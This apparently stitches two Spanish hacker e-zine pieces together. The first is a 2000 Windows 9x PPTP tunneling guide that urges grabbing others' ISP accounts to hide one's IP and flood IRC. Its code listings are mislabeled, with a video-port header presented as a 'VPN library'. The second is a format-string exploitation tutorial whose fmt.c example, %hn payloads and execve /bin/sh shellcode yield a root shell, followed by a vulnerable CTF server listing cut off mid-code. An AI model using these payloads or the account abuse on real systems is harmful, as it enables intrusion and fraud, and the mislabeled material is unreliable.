| Titulo : How to hacer Tunneling desde Win9x |
| Autor : [CrAsH]] |
| Fecha : 27/03/2000 |
`-----------------------------------------------------(2500hz@mixmail.com)--´



*-*-*-*-*-*-*-*-*-*
* 1. Introducción *
*-*-*-*-*-*-*-*-*-*

Bueno, el documento tan esperado desde hace meses Ni decir tengo que esta información sólo
tiene própositos educativos, y no me responsabilizo del mal uso que le podais dar.



*-*-*-*-*-*-*-*-*-*-*-*-*
* 2. Conceptualización *
*-*-*-*-*-*-*-*-*-*-*-*-*

1. ¿ que es pptp?
PPTP (Point-to-point tunneling protocol) es un protocolo de internet
diseñado para proveer de la seguridad necesaria con la finalidad de crear y mantener
una VPN sobre TCP/IP (TRansmision Control Protocol/Interface Protocol).
Es el protocolo para hacer un túnel que permite que se realicen
las conexiones de Point-to-Point Protocol (PPP) a través de una red IP, creando
una red privada virtual (VPN).

2. ¿que es VPN?
-AVPN Microsoft Virtual Private Networking Adapter Microsoft
El principal propósito de las Redes Privadas Virtuales es el establecimiento de una
conexión segura a una LAN ( Local Area Network) privada sobre una estandar no-segura
conexión LAN o una conexión via internet.
pongamos un ejemplo, si tu estas trabajando en una oficina tu puedes acceder a la LAN de tu
oficina por medio de un 'tunel' del servidor VPN. una vez que te ha sconectado tu conexion
es mas virtual que fisica, ya que no te encuentras fisicamente en la LAN de tu oficina,
de ahi el termino VIRUTAL NETWORK.
HAy varias clases de redes VPN, pero la mas utilizada y la mas popupar es el PPTP,
Microsoft fue uno de los primero es ofrecer este servicio como una parte del NT SERVER.
EL adaptador de PPTP que ha crecido mas es el L2TP ( Layer 2 Tunneling Protocol)


3. Tunneling?¿?¿
El adaptador de red privada virtual de Microsoft permite a
los PC conectarse a redes privadas a través de redes públicas como Internet.
el pptp nos permite hacer tunneling una vez conectados a internet y obtener otra ip
distinta a la que habiamos obtenido mediante la forma tradicional (llamando a un
nodo de nuestro proveedor de inet) realmente
el pptp no es solo esto, y la explicacion que he puesto anteriormente es resumir al
maximo el concepto de pptp, lo que teoricamente es mas util del pptp es la posibilidad
de montar VPNs o lo que es lo mismo Redes Privadas Virtuales (Virtual Private Networks)



*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
* 3. COMO HACER TUNNELING *
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

3.1) CREAR EL ACCESO
Pongamos un ejemplo: supongamos que nos conectamos a través de teleline. Cuando nos
conectamos a teleline lo que hacemos es CASITA--> TELELINE -->ISP -->INTERNET
vemos los diferentes estados que pasamos antes de entrar a internet: primero llamamos a
nuestro nodo local alli entra en teleline, una vez alli el login y pass son mandados al
netbuilder de su ISP o lo que es lo mismo una conexion TCP al puerto 1723 donde es
comprobado el login y pass, si es correcto el ISP le tuneliza a internet es decir
que realmente un usuario, primero de todo esta conectado a teleline,
luego a su ISP y desde su ISP a internet.

procedimiento: vale nos vamos a inicio (esto parece Windows para tontos pero asi es mas
claro xD): procesos:

--> panel de control
--> SISTEMA-->
-->RED
-->configuracion
--> agregar
-->controlador
-->seleccionar adaptador de red (microsoft)
adaptadores de red (adaptador de red virtual privada de microsoft )

y ya esta seguiis los pasos.. una vez instalado el adaptador y tras haber reiniciado os
vais a control de acceso telefonico a redes: y os creais una conexion, la podeis llamar VPN
mismo, y procedeis a la instalacion de un nuevo acceso telefonico a redes: haceis doble
click en realizar nueva conexion --> en en la opcion "modems" debereis seleccionar
Adaptador de Microsoft para redes virtuales o Microsoft VPN adapter, lo poneis y nada
seguis la instalacion, luego nos pedira que pongamos la IP del servidor de tunneles
de nuestro ISP, pues nada lo ponemos y para finalizar el login y password..
pues hasta ahora el unico ISP que he visto que vaya bien es ENCOMIX,
pues nada a pillarse unas cuantas cuentas y a probar :) pues nada ponemos
login: 2500@encomix y password: 2300hz y ya esta creado nuestro acceso telefonico VPN :)


3.2)CONECTARNOS

Pues bien una vez creado nuestro acceso telefonico, conectamos con nuestra cuenta normal
y corriente con la que utilizamos siempre.. por ejemplo una de teleline, una vez conectados
a inet ejecutamos nuestra conexion que habiamos llamado VPN yyyyyyyyy si tenemos suerte y
conectamos entraremos a internet y veremos como el iconito de conexión.. si... ese...
en el que aparece dos lucecitas verdes encendiendose y apagandose.. pues tendremos DOS
iconitos de esos tan monos :P y entraremos a internet
con otra IP distinta a la que nos habia asignado nuestro proveedor inicial (en este ejemplo
teleline) :), asi conseguimos tener una ip de encomix :)


3.3) UTILIDADES

- Ante todo seguridad, por la encriptacion... aunque hace poco rompieron el algoritmo
que implemento microsoft... al parecer era bastante malo :)
- Las utilidades corre a la imaginacion de cada uno, podemos desde meter a saco clones
en el irc,
-hasta volver a hacer tunneling de nuevo, para ir saltando y tal :)
-Aquellos que conectan con 900s podran ocultar su verdadera ip que
resulta tan cantosa ( ipass o wcom...) así podremos conectarnos sin tener que usar wingates :)




*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
* 4. ALGUNOS PROGRAMAS PARA HACER TUNNELING *
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

- TunnelBuilder ( company: NTS)
- TunnelMaster (NTS también)



*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
* 5. Algunos datos interesantes *
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

----------------------
-= 5.1 -LIBRERIA DE VPN =-
------------------------

//==========================================================================;
//
// Copyright (c) 1997 Microsoft Corporation. All Rights Reserved.
// Visual C++
//--------------------------------------------------------------------------;

#ifndef __IVPNotify__
#define __IVPNotify__

#ifdef __cplusplus
extern "C" {
#endif

/*
typedef struct _DDCOLORCONTROL
{
DWORD dwSize;
DWORD dwFlags;
LONG lBrightness;
LONG lContrast;
LONG lHue;
LONG lSaturation;
LONG lSharpness;
LONG lGamma;
LONG lEnable;
} DDCOLORCONTROL;
*/

// interface IVPBaseNotify
DECLARE_INTERFACE_(IVPBaseNotify, IUnknown)
{
public:
// this function initializes the reconnection to the decoder.
STDMETHOD (RenegotiateVPParameters)(THIS_
) PURE;

};

// interface IVPNotify
DECLARE_INTERFACE_(IVPNotify, IVPBaseNotify)
{
public:
// function to set the mode (bob, weave etc)
STDMETHOD (SetDeinterlaceMode)(THIS_
IN AMVP_MODE mode
) PURE;

// function to get the mode (bob, weave etc)
STDMETHOD (GetDeinterlaceMode)(THIS_
OUT AMVP_MODE *pMode
) PURE;


/*
// this function sets the overlay surface that the mixer is supposed to use.
STDMETHOD (SetOverlaySurface)(THIS_
IN LPDIRECTDRAWSURFACE pOverlaySurface
) PURE;

// this function gets the overlay surface that the mixer is using
STDMETHOD (GetOverlaySurface)(THIS_
OUT LPDIRECTDRAWSURFACE *ppOverlaySurface
) PURE;

// this functions sets the color-controls, if the chip supports it.
STDMETHOD (SetColorControls)(THIS_
IN LPDDCOLORCONTROL pColorControl
) PURE;

// this functions also returns the capability of the hardware in the dwFlags
// value of the struct.
STDMETHOD (GetColorControls)(THIS_
OUT LPDDCOLORCONTROL *ppColorControl
) PURE;
*/

};

// interface IVPVBINotify
DECLARE_INTERFACE_(IVPVBINotify, IVPBaseNotify)
{
public:
};

#ifdef __cplusplus
}
#endif


#endif // __IVPNotify__


---------------------------------------------
-= 5.2 Datos generados en la transmision de pptp: =-
------------------------------------------------
; netpptp.inf
;
; INF for Point to Point Tunneling Protocol WAN Miniport Driver (NETPPTP.SYS)
;
; The NETPPTP driver is the "Virtual Private Networking Adapter"
;
; Copyright (c) 1997 Microsoft Corporation

[version]
CatalogFile=netpptp.cat
LayoutFile= Layout.inf, Layout1.inf, Layout2.inf
Signature="$CHICAGO$"
Class=Net
ClassGUID={4d36e972-e325-11ce-bfc1-08002be10318}
Provider=%V_MS%

[Manufacturer]
%V_MS%=PPTP

[PPTP]
%*PNP8386.DeviceDesc%=*PNP8386.ndi, *PNP8386


;****************************************************************************
; PnP ID Adapter Specific Install Section
;****************************************************************************
[*PNP8386.ndi]
AddReg=*PNP8386.ndi.reg,PPTP.ndi.reg,PPTP.Gen.Params
DeviceID=*PNP8386
MaxInstance=1

[*PNP8386.ndi.reg]
HKR,Ndi,DeviceID,,"*PNP8386" ; pnp id
HKR,Ndi,NetType,,1

;****************************************************************************
; Base Section
;****************************************************************************
[PPTP.ndi.reg]
HKR,,DevLoader,,*ndis
HKR,,DeviceVxDs,, netpptp.sys

; NDIS Info
HKR,NDIS,LogDriverName,,"pptp"
HKR,NDIS,MajorNdisVersion,HEX,03
HKR,NDIS,MinorNdisVersion,HEX,0A

; Interfaces
HKR,Ndi\Interfaces,DefUpper,,"ndiswan"
HKR,Ndi\Interfaces,DefLower,,"pptp"
HKR,Ndi\Interfaces,UpperRange,,"ndiswan"
HKR,Ndi\Interfaces,LowerRange,,"pptp"

; Required Components
HKR,Ndi\Compatibility,RequireAll,,"NDISWAN"

; Install sections
HKR,Ndi\Install,ndiswan,,"PPTP.ndiswan"

; Context help
HKR,Ndi,HelpText,,%PPTP_HELP%

; Uninstall sections
HKR,Ndi\Remove,ndiswan,,"PPTP.ndiswan.uninstall"

;****************************************************************************
; TAPI ISDN Configuration
;****************************************************************************
HKR,TAPI,ConfigFlags,1,00,00,00,00
HKR,TAPI,DeviceType,1,01,00,00,00
HKR,TAPI,DeviceCaps,1,14,00,00,00, 00,00,00,00, 02,00,00,00, 01,00,00,00, 01,00,00,00
HKR,TAPI\Line0,ConfigFlags,1,00,00,00,00
HKR,TAPI\Line0,LineCaps,1,1c,00,00,00, 00,00,00,00, 03,00,00,00, ff,00,00,00, 03,00,00,00,
02,00,00,00, 02,00,00,00
HKR,TAPI\Line0,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00
HKR,TAPI\Line0\Channel0,ConfigFlags,1,00,00,00,00
HKR,TAPI\Line0\Channel0,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00
HKR,TAPI\Line0\Channel0,SPID,,""
HKR,TAPI\Line0\Channel0,Phone,,""
HKR,TAPI\Line0\Channel1,ConfigFlags,1,00,00,00,00
HKR,TAPI\Line0\Channel1,Properties,1,00,00,00,00, 00,00,00,00, 00,00,00,00
HKR,TAPI\Line0\Channel1,SPID,,""
HKR,TAPI\Line0\Channel1,Phone,,""


;****************************************************************************
; General Params
;****************************************************************************
[PPTP.Gen.Params]
; pptp constant values
HKR,,BoardType,,"Microsoft Virtual Private Networking Adapter"
HKR,,BoardName,,"Microsoft Virtual Private Networking Adapter"
HKR,,DeviceName,,"Microsoft VPN Adapter"
HKR,,ProviderInfo,,"Microsoft"
HKR,,DeviceType,,"PPTP"
HKR,,TunnelGreOverUdp,,0

;****************************************************************************
; Install Section
;****************************************************************************

; Install section for NDISWAN upper edge (only for WAN miniports)
[PPTP.ndiswan]
CopyFiles=PPTP.ndiswan.CopyFiles
AddReg=PPTP.Install

[PPTP.Install]
;****************************************************************************
; VPN Option Installed
;****************************************************************************
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OptionalComponents\VPN,Installed,,"1"


;****************************************************************************
; Uninstall Section
;****************************************************************************
[PPTP.ndiswan.uninstall]
AddReg=PPTP.Uninstall

[PPTP.Uninstall]
;****************************************************************************
; VPN Option Uninstalled
;****************************************************************************
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\OptionalComponents\VPN,Installed,,"0"

;****************************************************************************
; CopyFiles Section
;****************************************************************************
[PPTP.ndiswan.CopyFiles]
netpptp.sys,,,32 ; 32 = no version conflict when target is newer


;****************************************************************************
; Destination Directories
;****************************************************************************
[DestinationDirs]
PPTP.ndiswan.CopyFiles =11 ; System Directory

;****************************************************************************
; Localizable Strings
;****************************************************************************
[strings]
; Provider & Manufacturers
V_MS = "Microsoft"

; Device Descriptions
*PNP8386.DeviceDesc = "Adaptador de red privada virtual de Microsoft"

; Context Help
PPTP_HELP = "El adaptador de red privada virtual de Microsoft permite a su PC
conectarse a redes privadas a través de redes públicas como Internet."


-- [CrAsH]] -- - -- - -- - -- - -- - -- - -- @_2500Hz - Underground Scene -
- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --

..."varios ejemplos de format bugs y varias tecnicas"...

Explotando Format Bugs

Por 0x90 (0x90@raza-mexicana.org)
I. Introduccion
Los format bugs son ya una cosa cotidiana en la explotacion y se pueden
ver un monton de textos y de exploits por todos lados, porque hacer otro
mas?, porque simplemente no hay uno bueno en español y los que he visto
fallan de algunas cosas que son obvias tal vez cuando ya las sabes hacer
pero cuando estas intentado explotar tu primer format bug son un dolor de
cabeza.
Aqui veremos varios ejemplos de format bugs y varias tecnicas, no son
todas ni las mas avanzadas pero bueno al menos podran explotar su format
bug al final de este articulo.
Bien importante si no saben C se la van a pasar en blanco casi con este
articulo y si ustedes son de los que cuando hace segmentation fault lo
primero que dicen es qu ees una denegacion de servicio en lugar de un
buffer overflow todavia mas. Intentare irme a lo basico pero no cuenten
con ello.
II. printf y su familia
Hay muchas funciones que imprimen a la pantalla, write, printf y demas,
ademas de imprimir en archivos, cual es el problema en el cual tomas
control de todo el problema?. Veamos con un ejemplito:
---fmt.c---
#include
#include
int main(int argc, char **argv)
{
char buf[256];
unsigned long test=&test;
char buf2[12]="aaaaaaaaaaa\x00";
snprintf(buf,256,argv[1]); //here's the problem
buf[255]='\0';
printf("%s\n",buf);
printf("%x\n",test);
printf("%s adr: %.8x\n",buf2,&buf2);
return 0;
}
---fmt.c---
Como puedes ver el problema esta en el sprintf(), porque? porque no le
estamos diciendo que formato usar para los datos, y lo espera en su
funcion:
int sprintf(char *str, const char *format, ...);
Asi pues que pasa si se encuentra un %x pero no hay nada? toma lo
siguiente que hay en el stack para imprimirlo, pero que es?, pues todo el
15
www.raza-mexicana.org (ezine14)
stack! hasta las direcciones de retorno!!! y que pasa cada vez que
imprimes?, simplemente lo saca del stack porque como ya lo imprimio? y es
lo que llamamos "Avanzar el stack".
Que pasa cuando jalamos el programa?
0x8048430
: push %ebp
0x8048431
: mov %esp,%ebp
0x8048433
: push %edi
0x8048434
: push %esi
Salvamos la direccion de retorno, la direccion del stack (Frame pointer)
empujamos todo al stack y empezamos a inicializar las variables. Para que
nos sirve la direccion de retorno?, bueno per se un programa nunca
termina, es decir, tu regresas control al programa anterior, que programa
tenias antes? el shell. Como vez? ahh verdad los puristas de asm ahora si
estaran felices de la rectificacion de pendejadas que siempre se cometen
en este tema, bueno a seguir.
[root@XtremeLinux format]# ./fmt
AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
AAAA000007d961616161616161610061616140013bc80000000340013e4800000001bffff
a0c41414141
bffffa0c
aaaaaaaaaaa adr: bffff9f0
[root@XtremeLinux format]#
Que vemos aqui? Se ve un desmadre vamos a poner espacios para ver mejor,
hay que ponertodo dentro de "" para que sepa que sigue siendo argv[1]
okas?
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.8x %.8x %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
00000001 bffff9fc 41414141
bffff9fc
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Ahh que puta diferencia!!! hay algunas cosas que como que se me hacen
medio conocidas:
A == 0x41 (hexadecimal)
a == 0x61 (hexadecimal)
Del fmt.c vemos que:
char buf[256];
unsigned long test=&test;
char buf2[12]="aaaaaaaaaaa\x00";
Vemos AAAA luego algo raro luego 61616161 que es aaaa luego 00616161
(aaa\0) luego parte del syscal de kernel, un argumento, otra direccion,
un 1, luego una direccion y luego 41414141, que sera la direccion? la
direccion de donde esta test chequen que es la misma que se imprime un
renglon abajo.
Entonces ya sabemos donde estamos no?, si ... no ... si ... no .. no han
entendido? man printf, gdb ./fmt y art of assembly si que les van a
ayudar.
Escribamos sobre alguna direccion, empecemos a escribir sobre la
direccion de test como ven?, no no les estoy preguntando chingada
madre... vamos a escribir y me vale madre.
Para escribir usamos %n, es muy importante recordar que %n imprime el
numero de caracteres que se debarian de haber impreso hasta ese momento,
chequen como digo el numero de chars que se DEBERIAN de haber impreso no
los que se han impreso okas??
Veamos en fmt:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.8x %n %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
00000001 41414141
4c
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Verga, cambio la direccion a 4c y ademas ya no aparecio en el siguiente
%.8x, porque?, por lo que les habia comentado lo saca del stack, y de que
nos sirve esto?...
Si todavia se preguntan esto lentamente cierra este documento, apaga tu
computadora destruye tus libritos de como hackear hotmail, de como
isntalar subseven y suicidate. Gracias menos script kiddiez.
Okas no te has suicidado o no me hiciste puto caso o quieres aprender
(Bravo! neesitamos menos weyes que roben programas de los demas y menos
weyes que sean pendejos ./). Si queremos veamos si queremos escribir
0xbeef pondriamos 48811 veamos:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.48811x %n %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000
beef
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Pero, pero 48811 en hexa no es beef, claro que no estas tomando en cuenta
todos los otros chars que estas imprimiendo tambien o no? ahhhhh verdad?
suma y veras que si da =)
Si quisieras escribir 0xbfffbeef tendrias que mandar alrededor de 250+
megas a la consola lo cual duraria entre 5 y 10 minutos, que hueva no?
PERO si leemos lo que es la especificacion de %n podemos ver que es swtch
h es un half world write, es decir solo escribe 2 bytes en lugar de los
4, que quiere decir esto? chequen:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.48811x %hn %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000
bfffbeef
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
VERGA! escribimos una direccion de donde tomo la otra parte? de la parte
que estaba ahi, solo escribimos 2 bytes o sea 16 bits de la direccion no
los 32 buts completos. para que nos sirve esto? para poder hacer
escrituras en dos partes y por lo tanto poder escribir mas rapido y con
mas exactitud.
Pero como puedo hacer para escribir en un lugar chingon?, chingon
escribir en cualquier lugar pero no querias chigar el puto EIP o algo del
GOT no? bueno bueno si le pones la direccion de donde quieres escribir
puedes cambiar lo que quieras de esa direccion, checa:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%n%.8x";'`
ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfb3
aaaaaaaaaaa adr: bffff920
[root@XtremeLinux format]#
El half word write sigue funcionando?? veamos:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`
ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfffbfb3
aaaaaaaaaaa adr: bffff920
[root@XtremeLinux format]#
Pues si si jalo pero como se que en serio estoy escribiendo donde debe?
cambia la dir a ver que pasa =)
[root@XtremeLinux format]# ./fmt `perl -e 'print "\xcc\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`
ùÿ¿»¿AAAA000007d961616161616161610061616140013bc80000000
bffff92c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Chequen una cosita tuve que poner uno de mas para que se fue a la dir!!!
es por el extra pop =), los pops pueden variar por uno en caso de tu gcc,
ya que algunos (arriba del gcc 2.95) alinean %8 para mayor velocidad asi
que tienes un pop de mas ...
Es mas veamos si podemos poner una direccion completa nosotros no? como
modificamos la primera parte?, bueno lo que haces es que hacemos dos %hn
pero entre canda uno ponemos BBBB (4 bytes) para que sea el input de
printf() y que no te de segfault en sistemas extraŽños (asi tenemos
completa generalidad en la explotacion).
entonces queda:
<4>%hn<%x>%hn
asi pues:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.1000x%hn";'`
,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-
15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
c3a3bfbb
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Como ponemos las direcciones? ahi esta lo duro y tupido. Veamos veamos
...
La primera fase es facil beef == 48879 y le quitamos lo que hemos impreso
208 bytes (4 de la primera direccion, 4B, 4 de la segunda y 192 nops),
tambien le quitamos 8 veces el del 8 programas (8 * 8 == 64) o sea el
primero es 48607. De ahi sigue le segunda parte que esta un poco mas
dificil como vamos a hacer un short write solo vamos a escribir 2 bytes
(0xffff no 0xffffffff), pero ya escribimos un chingo, entonces hay que
ver que pedo, hacemos un wrap around, es decir subtraemos lo que ya
escribimos de 1bfff y le ponemos lo que queremos escribir!
1bfff - beef = 65808
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-
15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfffbeef
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Ya dio miedo no? y de que chingados me sirve eso?, pues que tal escribir
cualquier direccion que quieras? y donde quieras? ...
Toma en cuenta que las primeras direcciones son donde quieres escribir y
la segunda la direccion que quieres escribir, veamos primero chequemos
donde esta nuestro buffer y de paso le ponemos shellcode digo para que de
un shell o algo asi bonito no?
Vamos a usar este shellcode:
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15
\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\"
Un simple execve() de /bin/sh, nada raro ...
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bfffbeef
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Ahora escribimos en otro lugar para ver que direccion esta test:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x4c\xf9\xff\xbf";
print "AAAA"; print "\x4e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bffff92c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
0xbffff92c es la direccion donde esta test, donde estara nuestro buffer?
256 bytes abajo!, le sumamos unos 16 mas para poder caer bien en los NOPs
(0x90 es una ayudita no?) entonces nuestro buffer estara en la direccion
0xbffff83c, vamos a armar la direccion primero
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bffff83c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Escribir sobre la direccion de test para verificar si lo hice bien, yo si
y tu? ...
Ahora vamos a lo dificil escribir sobre el EIP, donde estara el eip?
esta 8 bytes abajo del buffer que esta 256 bytes abajo de la variable
test, asi como sabemos la direccion de test (0xbffff92c) le restamos y
escribimos ahi:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x24\xf8\xff\xbf";
print "AAAA"; print "\x26\xf8\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`
bffff92c
aaaaaaaaaaa adr: bffff910
sh-2.05a#
mira mira! ya pudimos explotar codigo, ahora que pasa si escribes dentro
del GOT? el GOT es la parte del heap en donde esta toda la tabla de
comandos que se ejecutan en cada programa. Hace poco hubo un con e
hicieron un catura la bandera, como taba carito no pude ir pero dejaron
la solucion y los programas dentro de su paginita: www.g-con.org
Uno de esos era un programa que tenia un format bug, remoto para esos es
poder tener una entrada de got para que funcione siempre porque el stak
se puede mover mucho ademas que bueno aqui medio veiamos el stack, en
este tambien un poco pero sirve para usar la siguiente forma de ataque al
GOT.
Aqui esta el programa que tenian ellos en el server:
---listado.c---
#include
#include
#include
#include
#include
#include
#define INFO_PONENCIAS '1'
#define INFO_GCON '2'
#define INFO_PONENTES '3'
#define SALIR '4'
#define MENU '5'
struct _ponentes {
char *ponente;
char *informacion;
char *ponencia;
} ponencias[] = {
{"pepito", "ponente en blackhat", "como romper pepitos"},
{"anakata", "http://www.anakata.hack.se", "Complex
explotation scenarios, including memcpy(), also various shellcodes."},
{"aitel", "Dave Aitel es el fundador y consultor de
seguridad de Immunity, Inc. Sus contribuciones publicas al mundo de la
seguridad incluyen SPIKE, suite de aplicaciones de control y analisis. Y
Vulnerabilidades en mayor manera hacia sistemas Windows NT RPC y
Microsoft Exchange y Microsoft SQL Server 2000.", "Advanced windows
overflows"},
{"richarte", "Gerardo Richarte es Director de CORE SECURITY
TECHNOLOGIES.", "Advanced PTrace explotation and Automated Pentesting."},
{"guillermo", "Kaspersky Lab Chief Research Officer.",
"Advanced PE Steganographic infection"},
{"enrique", "Kaspersky Lab Chief Technicall Officer.",
"Advanced polimorfic virus with steganographic parser on UNIX, Beating
the forensics analizis (Stego tool) and Taking over a corporative network
in less than 50 lines of C code"},
{NULL, NULL, NULL}
};
void ImpMenu(int fd, char *nombre);
void Info_Ponencias(int fd);
void Info_Gcon(int fd);
void Info_Ponentes(int fd);
char ObtOpcion();
int main(void) {
char opcion = 0;
int i = 0, cli_size;
char nombre[256];
int s, c;
struct sockaddr_in ser, cli;
bzero(nombre, sizeof(nombre));
if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
return -1;
}
ser.sin_family = AF_INET;
ser.sin_addr.s_addr = INADDR_ANY;
ser.sin_port = htons((unsigned short int)9999);
if(bind(s, (struct sockaddr *)&ser, sizeof(ser)) == -1) {
perror("bind()");
return -1;
}
if(listen(s, 3) == -1) {
perror("listen()");
return -1;
}
while(1) {
if((c = accept(s, (struct sockaddr *)&cli, &cli_size)) == -1) {
perror("accept()");
continue;
}
write(c, "Introduce tu nombre: ", strlen("Introduce tu nombre:
"));
read(c, nombre, sizeof(nombre)-1);
if(nombre[strlen(nombre)-1] == '\n') nombre[strlen(nombre)-
1]='\0';
ImpMenu(c, nombre);
while(1) {
opcion = 0;
while(!opcion)
opcion = ObtOpcion(c);
switch(opcion) {
case MENU: ImpMenu(c, nombre); break;
case INFO_PONENCIAS: Info_Ponencias(c); break;
case INFO_GCON: Info_Gcon(c); break;
case INFO_PONENTES: Info_Ponentes(c); break;
case SALIR:
write(c, "\r\n\r\nAplicacion saliendo...\n",
strlen("\r\n\r\nAplicacion saliendo...\n"));
// close(c); close(s);
exit(0); break;
}
}
close(c);
}
if(c) close(c);
close(s);
return 0;
}
void ImpMenu(int fd, char *nombre) {
char menu[4096];
bzero(menu, sizeof(menu));
snprintf(menu, 4095, "\nBienvenido %s, escoje una opcion:\nmenu :
